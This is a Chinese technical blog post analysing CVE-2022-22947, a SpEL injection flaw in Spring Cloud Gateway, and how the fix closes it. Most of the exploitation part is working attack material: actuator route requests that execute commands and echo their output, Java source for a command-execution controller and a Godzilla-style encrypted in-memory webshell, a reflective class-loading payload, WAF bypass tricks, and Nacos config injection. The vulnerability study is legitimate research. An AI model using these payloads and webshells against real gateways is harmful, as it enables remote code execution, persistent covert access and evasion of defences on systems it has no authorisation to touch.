CVE-2022-22947漏洞分析及不出网内存马注入和nacos的联动利用
前言:Spring Cloud Gateway 漏洞分析及内存马注入的笔记,在一些站点中确实都会遇到actuator gateway的接口,但是会发现一部分能正常利用,一部分不能正常利用,不能利用的也拿它没办法,这边正好想要了解下不能利用的原因是什么,所以这边的话就先学习下这个漏洞,然后拓展下相关的利用方法。
参考文章:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-starter
参考文章:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-request-predicates-factories
参考文章:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gatewayfilter-factories
参考文章:https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api
参考文章:https://github.com/wdahlenburg/spring-gateway-demo
参考文章:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
参考文章:https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247488454&idx=1&sn=7a396ec4bea2b7b9442ba237d81894d2&scene=21#wechat_redirect
参考文章:https://mp.weixin.qq.com/s/7rx-NEbYR-S14qy4fMEkpQ
参考文章:https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
参考文章:https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/
参考文章:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
参考文章:https://xz.aliyun.com/t/11331
Spring Cloud Gateway
参考文章:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-starter
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。
Spring Cloud Gateway是Spring Cloud的一个全新的API网关项目,替换Zuul开发的网关服务,基于Spring5.0 + SpringBoot2.0 + WebFlux(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型)等技术开发,性能高于Zuul。
术语表
这几个术语后面需要用到,所以这边也是根据文档中描述简单学习下
- 路由:网关的基本构建块。它由 ID、目标 URI、谓词集合和过滤器集合定义。如果聚合谓词为真,则匹配路由
id:路由唯一标识,区别于其他的route
url: 路由指向的目的地URL,客户端请求最终被转发到的微服务
order: 用于多个Route之间的排序,数值越小越靠前,匹配优先级越高
predicate:断言的作用是进行条件判断,只有断言为true,才执行路由
- 谓词predicate:这是一个Java 8 函数谓词。输入类型是Spring FrameworkServerWebExchange。这使您可以匹配 HTTP 请求中的任何内容,例如标头或参数。
这边配置一个简单的predicates案例,如下所示
spring: application: name: cloud-gateway-gateway cloud: gateway: routes: # 路由的ID,没有固定规则,但要求唯一,建议配合服务名 - id: payment_routh # 匹配后提供服务的路由地址 uri: http://www.baidu.com # 断言,路径相匹配的进行路由 predicates: - Path=/payment/get/**
当请求了/payment/get/1
的时候就会符合该predicates条件,服务地址则会请求到http://www.baidu.com/
这边还可以通过spring中内置的路由谓词工厂
Cookie路由谓词工厂接受两个参数,即Cookie名称和regexp(这是一个Java正则表达式)。此谓词匹配具有给定名称且其值与正则表达式匹配的cookie。
这边拿Cookie Route Predicate Factory来测试举例,只有当Cookie中键值对为sessionid=test的情况下才会请求服务地址www.baiduc.om,如下图所示
application.yml
spring: application: name: api-gateway cloud: gateway: routes: - id: gateway-service uri: https://www.baidu.com order: 0 predicates: - Cookie=sessionId, test
- Filter过滤器:对于前端发送的请求,首先通过网关的predicate断言找到对应路由处理,在路由处理之前,需要经过前置过滤器处理,处理返回响应之后,可以由后置过滤器处理,然后转发到相应服务。
参考文章:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gatewayfilter-factories
在上面的predicates的例子中再加上一个filters的过滤操作,这边的话所有满足路由匹配的请求都会在请求http://127.0.0.1:8082的时候都会加上X-Request-red: blue这个请求头
spring: application: name: api-gateway cloud: gateway: routes: - id: gateway-service uri: http://127.0.0.1:8082 order: 0 predicates: - Cookie=sessionId, test filters: - AddRequestHeader=X-Request-red, blue
Filter和predicates的区别
Filter和predicates的区别在于,predicate是用来寻找对应的路由的,Filter是对于找到了对应的路由之后进行后续的请求过滤处理操作。
actautor开启了gateway
参考文章:https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api
除了上述在application.yml中进行添加路由之外,如果actautor开启了gateway的端点的话,我们同样可以通过这个接口来动态添加端点
工作原理
客户端向 Spring Cloud Gateway 发出请求。如果网关处理程序映射确定请求与路由匹配,则会将其发送到网关 Web 处理程序。该处理程序通过特定于请求的过滤器链运行请求。过滤器被虚线分开的原因是过滤器可以在发送代理请求之前和之后运行逻辑。执行所有“预”过滤器逻辑。然后发出代理请求。发出代理请求后,将运行“post”过滤器逻辑。
spring-cloud-gateway的工作原理的话可能会有点迷惑,这边简单的描述下,具体的大家可以自行调试进行学习
当一个请求到达 Spring Cloud Gateway 时,会经历以下几个处理阶段:
- HTTP 请求接收:首先 Gateway 接收到来自客户端的 HTTP 请求。
调试的话首先会来到org.springframework.web.reactive.DispatcherHandler#handle来处理用户发起的请求,先会判断handlerMappings是否存在。
然后接着判断org.springframework.web.cors.reactive.CorsUtils#isPreFlightRequest当前的请求是否是cors请求,如果是的话那么单独用其他的方法来进行处理。
然后通过遍历 handlerMappings 列表,并使用每个 HandlerMapping 的 getHandler 方法来获取与当前请求匹配的处理器。其中,.next()
方法保证只取出第一个匹配到的处理器。
handler调用的地方是在org.springframework.web.reactive.DispatcherHandler#invokeHandler
- 路由匹配:RoutePredicateHandlerMapping 负责根据 HTTP 请求找到匹配的路由(Route)。
其中的核心类就是 RouteDefinitionRouteLocator。其中调用convertToRoute方法将用户配置的 RouteDefinition 转换为 Route 对象,并缓存起来,以供此步骤查找使用。
predicates 在 Spring Cloud Gateway 的路由匹配中起到了关键的作用。在 Spring Cloud Gateway 中,每个 RouteDefinition(路由定义)都包含了一系列的 Predicate(断言)。这些断言用于确定哪些请求可以被路由到对应的服务。也就是说,只有当请求满足所有的 Predicate 条件时,才会被路由到这个 RouteDefinition 定义的目标 URI。
比如,你可以为某个 RouteDefinition 配置一个 Path Predicate,指定只有当请求路径满足 certain pattern 时,该请求才能被路由匹配到。
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute在转换中会处理相关路由中的Predicates,具体的方法在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates,在该方法中会将相关的predicates都会进行合并操作。
- 过滤器链执行:找到匹配的路由后,Gateway 会构建并执行由各种过滤器(Pre、Post 等)组成的过滤器链。这个过程由 FilteringWebHandler 类负责。每个 Route 对象都包含了一组过滤器定义,用于在请求被转发前后对其进行额外处理(例如添加请求头、修改请求体等)。
在Spring Cloud Gateway中,有两种类型的过滤器:路由过滤器(Route Filters)和全局过滤器(Global Filters)。
路由过滤器只对单个路由有效,可以通过具体的 RouteDefinition 进行配置。
全局过滤器则对所有的路由都有效,无需特殊配置。
当一个请求到达并匹配到一个路由时,这个路由的过滤器链就会被执行。这个过滤器链由全局过滤器和该路由特定的过滤器共同组成。
因此,global-filters 是在过滤器链执行过程中发挥作用的,并且在路由特定的过滤器之前执行。这些全局过滤器负责处理那些适用于所有路由的通用逻辑,例如安全验证、请求跟踪等。
全局过滤器和特定过滤器的执行顺序:全局过滤器将按照它们的顺序先执行,然后是路由特定的过滤器。
具体的调用流程同样是在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute中,接着会org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters
getFilters方法主要是用于加载并创建具体的 GatewayFilter 实例。这些 GatewayFilter 实例会被添加到每个路由(Route)的过滤器链中,这样当一个请求匹配到某个路由时,这些过滤器就会按照顺序执行。
loadGatewayFilters 方法对于整个请求处理流程来说是十分关键的,并且这也是 RouteDefinitionRouteLocator 类中的一个核心方法。这个方法主要负责将路由定义(RouteDefinition)中配置的过滤器信息转换成可用的 GatewayFilter 对象,以供之后的请求处理过程使用。
-
请求转发:过滤器链执行完毕后,请求会被转发至目标 URI。这是由 NettyRoutingFilter 和 ForwardRoutingFilter 这两个核心过滤器来完成的。
-
响应处理:最后,处理来自下游服务的响应,并通过 Gateway 返回给客户端。
环境搭建
参考文章:https://github.com/wdahlenburg/spring-gateway-demo
这里的话我是根据文章教程简单的搭建了一个对应的环境,访问地址http://127.0.0.1:8081/
,结果如下所示
漏洞分析
漏洞影响
Spring Cloud Gateway
-
3.1.0
-
3.0.0 to 3.0.6
-
不受支持的旧版本也会受到影响
漏洞原理
CVE-2022-22947漏洞本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)
对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。`
这边主要看org.springframework.cloud.gateway.support.ShortcutConfigurable这个类
其中的getValue方法会对其中的entryValue变量进行处理,StandardEvaluationContext对象会对其中entryValue的#{
和}
中的部分进行解析处理
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) { // assume it's spel StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new BeanFactoryResolver(beanFactory)); Expression expression = parser.parseExpression(entryValue, new TemplateParserContext()); value = expression.getValue(context); }
这边来看哪里会调用org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue方法,通过回溯寻找getValue方法可以看到有三处地方调用getValue,分别是DEFAULT,GATHER_LIST,GATHER_LIST_TAIL_FLAG的normalize方法
这边的normalize方法通过回溯可以发现是通过org.springframework.cloud.gateway.support.ConfigurationService#normalizeProperties方法来进行调用
继续回溯可以发现是org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind方法进行调用
=上面一系列下来发现基于webflux的调试很困难,所以这边的话就抓重点来进行调试了=
这边直接给发送一个测试的数据包,前面有提及过如果gateway端点开放的话则支持动态添加路由的方式,而gateway actuator添加路由会在org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save方法进行调用,这边的话直接在这边进行断点
POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 166 { "id": "123456", "filters": [{ "name": "Retrxy", "args": { "a":"payload" } }], "uri": "http://localhost" }
执行上面的payload可以断到,如下图所示
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
跟进去会发现,在添加路由的时候还会先校验validateRouteDefinition要添加的filter的名称是否是过滤器工厂GatewayFilters中已经有的
如果没有匹配到的话则直接抛出异常,如下图所示
这边添加一个成功的数据包,其中filter为Retry,对应的就是Retry
{ "id": "123456", "filters": [{ "name": "Retry", "args": { "a":"payload" } }], "uri": "http://localhost" }
对应的就是Retry GatewayFilter Factory
添加成功之后这边还需要刷新路由,访问地址http://127.0.0.1:8081/actuator/gateway/refresh
如果设置的filters中的args参数的value值中存在#{}
的话则会通过SpelExpressionParser来进行解析执行表达式
漏洞修复
参考文章:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
漏洞存在的原因是对spel表达式的处理是通过StandardEvaluationContext对象来进行处理,而StandardEvaluationContext是公开全套 SpEL 语言功能和配置选项。可以使用它来指定默认根对象并配置每个可用的评估相关策略。功能强大且高度可配置,此上下文使用所有适用策略的标准实现,基于反射来解析属性、方法和字段。
在commit中可以看到将StandardEvaluationContext改写为SimpleEvaluationContext来进行解析spel表达式,而SimpleEvaluationContext仅支持 SpEL 语言语法的子集。
SimpleEvaluationContext不包括 Java 类型引用、构造函数和 bean 引用。
SimpleEvaluationContext要求明确选择对表达式中的属性和方法的支持级别,默认情况下,create() 静态工厂方法只允许对属性进行读取访问。
获取构建器以配置所需的确切支持级别,针对以下一项或某种组合:
- 仅自定义 PropertyAccessor(无反射)
- 只读访问的数据绑定属性
- 用于读取和写入的数据绑定属性
此时解析的时候就已经改为了GatewayEvaluationContext(内置SimpleEvaluationContext)
接着解析到需要引用java.lang.runtime的时候就需要通过Class<?> clazz = state.findType(typeName);来进行获取
而对于SimpleEvaluationContext来说,寻找java类型的时候就会直接抛出异常,导致无法正常解析
无回显利用链
支持spel表达式执行的话,那么这边直接可以通过#{}形式来进行命令执行,测试数据如下所示,可以看到refresh之后就成功的执行了Calculator计算器
POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8081 Content-Type: application/json { "id": "123456", "filters": [{ "name": "Retry", "args": { "a":"#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator.app')}" } }], "uri": "http://localhost" }
回显利用链
正常回显
calc是可以,但是如果是执行whoami这种的话可能就不太支持了,但是这边gatewayfilter-factories中存在一个AddResponseHeader是支持将结果最终进行展现的,这边可以通过
上面可以看到是通过gatewayfilter-factories的AddResponseHeader,那么这边其实也可以通过predicates断言条件来进行回显的,如下所示
{ "id": "123456", "predicates": [{ "name": "Cookie", "args": { "name": "payload", "regexp": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }
命令执行
参考文章:https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import java.io.IOException; import java.lang.reflect.Method; import java.util.Scanner; public class CmdGoldenToken { public static String run(Object obj, String path) { String msg; try { Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method ec = CmdGoldenToken.class.getDeclaredMethod("ec", String.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new CmdGoldenToken(), ec, requestMappingInfo); msg = "ok"; }catch (Exception e){ msg = "error"; } return msg; } public ResponseEntity ec(@RequestBody String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } }
将上面的class转换为base64编码字符替换到如下代码中,最终的结果如下图所示
POST /actuator/gateway/routes/goldentoken HTTP/1.1 Host: 127.0.0.1:8081 Cache-Control: max-age=0 sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close Content-Type: application/json Content-Length: 4065 { "id": "GoldenToken", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('CmdGoldenToken',T(org.springframework.util.Base64Utils).decodeFromString('yv66vg....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).run(@requestMappingHandlerMapping,'/favicon.ico')}" } }], "uri": "http://www.baidu.com" }
然后访问http://127.0.0.1:8081/actuator/gateway/refresh
,接着在/favicon.ico下post命令语句,结果如下图所示
这边用predicates断言条件也是可以的
POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8081 Cache-Control: max-age=0 sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close Content-Type: application/json Content-Length: 4107 { "id": "123456", "predicates": [{ "name": "Cookie", "args": { "name": "payload", "regexp": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('CmdGoldenToken',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAAD.....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).run(@requestMappingHandlerMapping,'/favicon.ico')}" } }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }
然后访问http://127.0.0.1:8081/actuator/gateway/refresh
,接着在/favicon.ico下post命令语句ls,结果如下图所示
Spring Controller内存马
由于Spring Cloud Gateway使用Spring+Netty+WebFlux框架进行开发,不存在Servlet API,这种情况导致无法注入冰蝎内存马(依赖Servlet API),所以只能选择对Servlet没有依赖的内存马,这边的话市面上只有哥斯拉满足,其他的webshell工具没有测试。
import org.springframework.http.HttpRequest; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GoldenToken { public static Map<String, Object> store = new HashMap<>(); public static String pass = "pass", md5, xc = "3c6e0b8a9c15224a"; public static String run(Object obj, String path) { String msg; try { md5 = md5(pass + xc); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GoldenToken.class.getDeclaredMethod("shell", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GoldenToken(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } private static Class defineClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public synchronized ResponseEntity shell(ServerWebExchange pdata) { try { Object bufferStream = pdata.getFormData().flatMap(c -> { StringBuilder result = new StringBuilder(); try { String id = c.getFirst(pass); byte[] data = x(base64Decode(id), false); if (store.get("payload") == null) { store.put("payload", defineClass(data)); } else { store.put("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) store.get("payload")).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0, 16)); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true))); result.append(md5.substring(16)); } } catch (Exception ex) { result.append(ex.getMessage()); } return Mono.just(result.toString()); }); return new ResponseEntity(bufferStream, HttpStatus.OK); } catch (Exception ex) { return new ResponseEntity(ex.getMessage(), HttpStatus.OK); } } }
将上面的class转换为base64编码字符替换到如下代码中,最终的结果如下图所示
POST /actuator/gateway/routes/goldentoken HTTP/1.1 Host: 127.0.0.1:8081 Cache-Control: max-age=0 sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close Content-Type: application/json Content-Length: 4065 { "id": "GoldenToken", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GoldenToken',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAAD....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).run(@requestMappingHandlerMapping,'/favicon.ico')}" } }], "uri": "http://www.baidu.com" }
这边用predicates断言条件也是可以的,跟上面的命令执行的格式是一样的,唯独不一样的就是class字节码,这边替换下即可。
waf拦截
这边提下waf拦截的情况,这边简单的给出两种绕过情况,分别是大数据包绕过,另外一个就是关键字拦截替换绕过。
大数据包绕过
这边简单跟了下spel表达式中的处理,在进入spel表达式解析之前会简单的对spel表达式进行处理,比如trim操作,之间可以穿插大量的符号。
javax.management.loading.MLet关键字拦截
new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())
可以替换为new java.net.URLClassLoader(new java.net.URL[0], T(java.lang.Thread).currentThread().getContextClassLoader())
进行尝试,这边测试一样是可以正常注入内存马的。
路由添加成功并且refresh成功,但是/actuator/gateway/routes接口下没有显示的情况
其实就是漏洞修复了,refresh的时候状态码返回200,但是实际上refresh内部解析spel表达式出现异常,为什么xray poc是正常的呢,因为xray poc是解析数字,没有引用java类型,所以这是正常的。
SSRF攻击
参考文章:https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/
这边通过测试发现只能进行http类型的请求,所以不是一个非常好的攻击链路,这边也简单的记录下
Nacos结合Spring Cloud Gateway RCE利用
参考文章:https://xz.aliyun.com/t/11493
首先查看服务列表中spring cloud配置了gateway的服务,如下图所示,这边的话就是provider配置了gateway网关服务
然后找到服务列表对应在配置集合中配置匹配路由的配置集合,如下图所示
如果存在CVE-2022-22947漏洞的情况下,那么可以在nacos中配置集中配置匹配路由中再加上下面这一条,同样可以正常进行利用
- id: GoldenToken order: 0 uri: lb://service-provider predicates: - Path=/echo/** filters: - name: AddResponseHeader args: name: result value: "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GoldenToken',T(org.springframework.util.Base64Utils).decodeFromString('yv66vxxxxx'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).run(@requestMappingHandlerMapping,'/favicon.ico')}"
nacos存在配置动态刷新的特性,所以这边会自动refresh接口刷新,这边直接进行连接即可
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY